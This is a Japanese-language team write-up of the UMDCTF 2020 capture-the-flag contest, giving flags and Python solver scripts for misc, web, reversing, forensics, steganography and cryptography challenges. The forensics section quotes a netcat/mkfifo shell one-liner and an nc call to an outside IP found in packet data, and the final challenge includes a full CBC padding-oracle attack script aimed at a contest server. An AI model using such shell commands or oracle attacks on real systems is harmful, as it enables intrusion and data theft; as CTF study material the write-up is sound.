この大会は2020/4/18 23:00(JST)~2020/4/19 23:00(JST)に開催されました。
今回もチームで参戦。結果は6265点で321チーム中18位でした。
自分で解けた問題をWriteupとして書いておきます。
This Chord (Misc 5)
Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。
UMDCTF-{Y0u_H4v3_J01n3D_D1sc0rD}
Resume (Misc 10)
履歴書として適当に入力した情報を送信すると、フラグが表示された。
UMDCTF-{R35um3}
Oh hi nyan (Misc 50)
matt2r2で検索すると、以下のページが見つかり、フラグが書いてあった。
https://www.reddit.com/user/matt2r2/comments/g23kk6/colors/
UMDCTF-{तुमने मुझे ढूंढ़ लिया}
MemeCTF (Misc 200)
OSINTらしいので、問題の "9012389aad4eb9be53d225c4bbe72098ebdb37b97a52893171ff1bce0d40f383" で検索する。
https://github.com/UMD-CSEC/hmmが見つかるが、何も書いていないので、commitの履歴を見る。
「Added flag file」のcommitから追加ファイルのlol.jpgをダウンロードする。このダウンロードした画像にフラグが書いてある。
UMDCTF-{meme_ch4llenges_ftw}
CSEC Invasion (Web 100)
UMD CSEC's websiteにフラグが隠されているような問題文。https://csec.umd.edu/でHTMLソースを見ると、フラグが含まれていた。
UMDCTF-{@l13ns_@r3_b3tt3r_th@n_hum@ns}
CSEC Invasion - 2 (Web 100)
UMD CSEC's websiteにフラグが隠されているような問題文で、robotsというキーワードが含まれている。https://csec.umd.edu/robots.txtにアクセスしてみると、フラグが書いてあった。
# https://www.robotstxt.org/robotstxt.html # UMDCTF-{d0m0_@r1g@t0_mr_r0b0t0} User-agent: * Disallow:
UMDCTF-{d0m0_@r1g@t0_mr_r0b0t0}
CSEC Invasion - 3 (Web 200)
UMD CSEC's websiteにフラグが隠されているような問題文だが、それ以上わからない。手あたり次第リンクをたどる。https://csec.umd.edu/manifest.jsonにアクセスしたときにフラグが見つかった。
{ "short_name": "UMD CSEC", "name": "University of Maryland Cybersecurity Club", "icons": [ { "src": "images/favicon.ico", "sizes": "64x64 32x32 24x24 16x16", "type": "image/x-icon" }, { "src": "images/logo-128x192.png", "type": "image/png", "sizes": "128x192" }, { "src": "images/logo-450x675.png", "type": "image/png", "sizes": "450x675" } ], "start_url": ".", "display": "standalone", "theme_color": "#000000", "background_color": "#ffffff", "calc": "UMDCTF-{w3_d1d_th3_m@th}" }
UMDCTF-{w3_d1d_th3_m@th}
Easy Money (Reverse Engineering 50)
$ ./money Hello friend What is your name? a Hello a
特にパスワードらしきものを比較するわけではない。
バイナリエディタで見てみると、このメッセージ近くにbase64文字列がある。
$ echo VU1EQ1RGLXtlNHN5X3cxbnNfZTRzeV9tMG4zeX0= | base64 -d UMDCTF-{e4sy_w1ns_e4sy_m0n3y}
UMDCTF-{e4sy_w1ns_e4sy_m0n3y}
Santa Mysterious Box (Reverse Engineering 100)
$ ltrace ./SantaBox puts("--------------------------------"...----------------------------------------- ) = 42 puts("| "...| | ) = 42 puts("| "...| | ) = 42 puts("| "...| | ) = 42 puts("| Santa's Mysterious "...| Santa's Mysterious | ) = 42 puts("| Box of Treats "...| Box of Treats | ) = 42 puts("| "...| | ) = 42 puts("| "...| | ) = 42 puts("| "...| | ) = 42 puts("| "...| | ) = 42 puts("| "...| | ) = 42 puts("--------------------------------"...----------------------------------------- ) = 42 __printf_chk(1, 0x55e66f5b5c68, 0x7f8e98f44780, 0x7f8e98c752c0) = 17 __isoc99_scanf(0x55e66f5b5c7a, 0x7ffd55b3ff70, 0x7f8e98f44780, 17Enter code here: 123 ) = 1 strcmp(",-.", "PH?>OA(vN/io/Zb<q.Zt+pZKm.io0x") = -36 puts("You received coal!"You received coal! ) = 19 +++ exited (status 0) +++
比較する際には文字が変換されている。"123"が",-."になっているので、プラスする方向に5シフトすればフラグになりそう。"PH?>OA(vN/io/Zb
enc = 'PH?>OA(vN/io/Zb<q.Zt+pZKm.io0x' flag = '' for c in enc: code = ord(c) + 5 flag += chr(code) print flag
UMDCTF-{S4nt4_gAv3_y0u_Pr3nt5}
Twilight Zone (Reverse Engineering 300)
$ file TwilightZone.exe TwilightZone.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dnSpyで開き、デコンパイルする。
private void Button1_Click(object sender, EventArgs e) { string text = this.TextBox1.Text; string text2 = "mLxCKPYXjSMUcEKu"; string wJgEefC1c0B0A6mx = "UxLYNz3PClbqZ1U6l18XlW7lhUB0HaZYt6gBp3hR6+xRNJsvlPA20lS6OeCaFCqN"; DateTime t = new DateTime(621355968000000000L); DateTime t2 = new DateTime(637228512000000000L); DateTime now = DateTime.Now; if (DateTime.Compare(now, t) > 0 || DateTime.Compare(now, t2) < 0) { MessageBox.Show("Not happening!"); base.Close(); return; } string text3 = this.Mystery(wJgEefC1c0B0A6mx, text2); if (text.Equals(text2)) { MessageBox.Show(text3); base.Close(); return; } MessageBox.Show("Not happening!"); base.Close(); } public string Mystery(string wJgEefC1c0B0A6mx, string yfysbQ4Kv4MKky1a) { RijndaelManaged rijndaelManaged = new RijndaelManaged(); HashAlgorithm hashAlgorithm = new MD5CryptoServiceProvider(); byte[] array = new byte[32]; byte[] sourceArray = hashAlgorithm.ComputeHash(Encoding.ASCII.GetBytes(yfysbQ4Kv4MKky1a)); Array.Copy(sourceArray, 0, array, 0, 16); Array.Copy(sourceArray, 0, array, 15, 16); rijndaelManaged.Key = array; rijndaelManaged.Mode = CipherMode.ECB; ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(); byte[] array2 = Convert.FromBase64String(wJgEefC1c0B0A6mx); return Encoding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length)); }
以下を算出すれば、フラグになるはず。
string text2 = "mLxCKPYXjSMUcEKu"; string wJgEefC1c0B0A6mx = "UxLYNz3PClbqZ1U6l18XlW7lhUB0HaZYt6gBp3hR6+xRNJsvlPA20lS6OeCaFCqN"; text3 = this.Mystery(wJgEefC1c0B0A6mx, text2);
Mysteryの処理は以下のようになっている。
・sourceArray: text2 の MD5ダイジェスト ・arrayのインデックス0以降にtext2 の MD5ダイジェストをコピーする。 ・arrayのインデックス15以降にtext2 の MD5ダイジェストをコピーする。 ・arrayをAES-ECBの鍵にする ・wJgEefC1c0B0A6mxを復号する。
from Crypto.Cipher import AES from hashlib import md5 from base64 import b64decode def unpad(s): return s[:-ord(s[-1])] text2 = 'mLxCKPYXjSMUcEKu' wJgEefC1c0B0A6mx = 'UxLYNz3PClbqZ1U6l18XlW7lhUB0HaZYt6gBp3hR6+xRNJsvlPA20lS6OeCaFCqN' h = md5(text2).digest() key = h[:15] + h + '\x00' cipher = AES.new(key, AES.MODE_ECB) flag = unpad(cipher.decrypt(b64decode(wJgEefC1c0B0A6mx))) print flag
UMDCTF-{w3lcome_t0_the_tw1light_z0ne}
Sensitive (Forensics 150)
バイナリエディタで見ると、1バイトごとにスペースが入っているPDFであることがわかる。PDFを開くと、うっすらQRコードが見える。
https://pdfcandy.com/jp/extract-images.html で画像抽出し、QRコードを整形した後、コードリーダで読み込む。
UMDCTF-{l0v3-me_s0me_h3x}
A Nation State Musical (Forensics 300)
77.123.100.186からの通信パケットのみ。IPアドレスから国を調べる。
国コード UA 国名(日本語) ウクライナ 国名(英語) Ukraine
UMDCTF-{Ukraine}はフラグとして通らない。もう少しパケットを見てみる。No.384のパケットがサイズが大きい。データをエクスポートする。内容は以下の通り。
'; rm -f backd00r mkfifo backd00r nc -lk 1337 0<backd00r | /bin/bash 1>backd00 echo 'мен к?рем?н' | nc 37.46.96.0 1337
37.46.96.0の国を調べる。
国コード KZ 国名(日本語) カザフスタン 国名(英語) Kazakhstan
UMDCTF-{Kazakhstan}
Zero Cool (Steganography 150)
添付ファイルはアニメーションGIFになっている。24フレーム中16フレーム目にQRコードがある。
横長なので、縦に引き伸ばして、コードリーダで読み取る。
UMDCTF-{tr4sh1ng_th3_fl0w}
Crash Confusion (Steganography 200)
Stegsolveで開き、Random colour mapを見る。
base64らしき文字列が現れる。
VU1EQ1RGLXt0aHIzc2gwbGRfZXJyMHJ6fQ
base64だとしたら、2文字足りないので、=でパディングしてデコードする。
$ echo VU1EQ1RGLXt0aHIzc2gwbGRfZXJyMHJ6fQ== | base64 -d UMDCTF-{thr3sh0ld_err0rz}
UMDCTF-{thr3sh0ld_err0rz}
Baby's First Crypto (Cryptography 200)
シフトすると、フラグになりそう。
with open('ciphertext', 'rb') as f: enc = f.read() key = ord(enc[0]) - ord('U') flag = '' for c in enc: code = (ord(c) - key) % 128 flag += chr(code) print flag
UMDCTF-{1_1uv_crypt0}
Low Effort Required (Cryptography 300)
nが非常に大きく、eが小さいため、Low Public Exponent Attackで復号する。
import gmpy from Crypto.Util.number import * e = 5 c = 40030182544273856015788999062464973403472186630147528555052489762516210821795493031619376345647069575950526306492922573846162431037037824967074058132327917359025595463728944947118480605422897682821384491771926743103021286982319660969379132360886299787840185308892024028684314873509707776 m = gmpy.root(c, e)[0] assert pow(m, e) == c flag = long_to_bytes(m).rstrip('\x00') print flag
UMDCTF-{f1x_y0ur_3xp0s}
Padme Twice (Cryptography 300)
RGBそれぞれをXORしたものを画像にする。
from PIL import Image img1 = Image.open('crypt1.png').convert('RGB') img2 = Image.open('crypt2.png').convert('RGB') w, h = img1.size output_img = Image.new('RGB', (w, h), (255, 255, 255)) flag = '' for y in range(0, h): for x in range(0, w): r1, g1, b1 = img1.getpixel((x, y)) r2, g2, b2 = img2.getpixel((x, y)) r = r1 ^ r2 g = g1 ^ g2 b = b1 ^ b2 output_img.putpixel((x, y), (r, g, b)) output_img.save('flag.png')
UMDCTF-{tw0_t1me_p4dme}
Fragile Foundations (Cryptography 300)
何重もbase64エンコードされているので、繰り返しデコードする。
with open('ciphertext', 'r') as f: data = f.read() while True: try: data = data.decode('base64') except: break print data
UMDCTF-{b@se64_15_my_f@v0r1t3_b@s3}
Relatively Rough RSA (Cryptography 600)
pとqは近い値なので、Fermat法で素因数分解する。eは2*素数なので、平文の2乗しかRSA暗号の復号はできない。ただpもqも4で割って余りが3のため、Rabin暗号の復号方法で復号できる。
from Crypto.Util.number import * def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n): x = isqrt(n) + 1 y = isqrt(x * x - n) while True: w = x * x - n - y * y if w == 0: break elif w > 0: y += 1 else: x += 1 return x - y, x + y def egcd(a, b): if a == 0: return b, 0, 1 else: gcd, y, x = egcd(b % a, a) return gcd, x - (b // a) * y, y with open('public_key', 'r') as f: pub_key = f.read() with open('ciphertext', 'r') as f: c = int(f.read()) n = int(pub_key.split(':')[0]) e = int(pub_key.split(':')[1]) p, q = fermat(n) phi = (p - 1) * (q - 1) d = inverse(e / 2, phi) m_2 = pow(c, d, n) r = pow(m_2, long((p+1)/4), long(p)) s = pow(m_2, long((q+1)/4), long(q)) gcd, c, d = egcd(p, q) x = (r * d * q + s * c * p) % n y = (r * d * q - s * c * p) % n plains = [x, n - x, y, n - y] for plain in plains: flag = long_to_bytes(plain) if flag.startswith('UMDCTF'): index = flag.index('}') flag = flag[:index+1] print flag break
UMDCTF-{r@bin_crypt0_0v3r_rs@}
Sideways Ciphering (Cryptography 650)
AES-CBC暗号の暗号データを渡すとpaddingチェックの結果がわかる。CBC Padding Oracle Attackで復号する。
import socket import base64 def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def str_xor(s1, s2): return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) def unpad(s): return s[:-ord(s[-1])] def is_valid(enc): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.241.138.174', 1337)) data = recvuntil(s, '\n').rstrip() print data print enc s.sendall(enc + '\n') data = recvuntil(s, '\n').rstrip() print data if data == 'You are not allowed to decrypt!': return True else: return False with open('ciphertext', 'r') as f: enc = base64.b64decode(f.read()) enc_blocks = [] for i in range(0, len(enc), 16): enc_blocks.append(enc[i:i+16]) xor_blocks = [] for i in range(len(enc_blocks)-1, 0, -1): xor_block = '' for j in range(16): for code in range(256): print '%d - %d - %d: %s' % (i, j, code, xor_block.encode('hex')) print '****', str_xor(xor_block, enc_blocks[i-1][-j:]), '****' try_pre_block = '\x00' * (16 - j - 1) + chr(code) + str_xor(xor_block, chr(j+1)*j) try_cipher = base64.b64encode(try_pre_block + enc_blocks[i]) if is_valid(try_cipher): xor_code = (j+1) ^ code xor_block = chr(xor_code) + xor_block break xor_blocks.append(xor_block) xor_blocks.reverse() flag = '' for i in range(len(xor_blocks)): flag += str_xor(enc_blocks[i], xor_blocks[i]) flag = unpad(flag) print flag
UMDCTF-{s1d3_ch@nn3l_0p3n}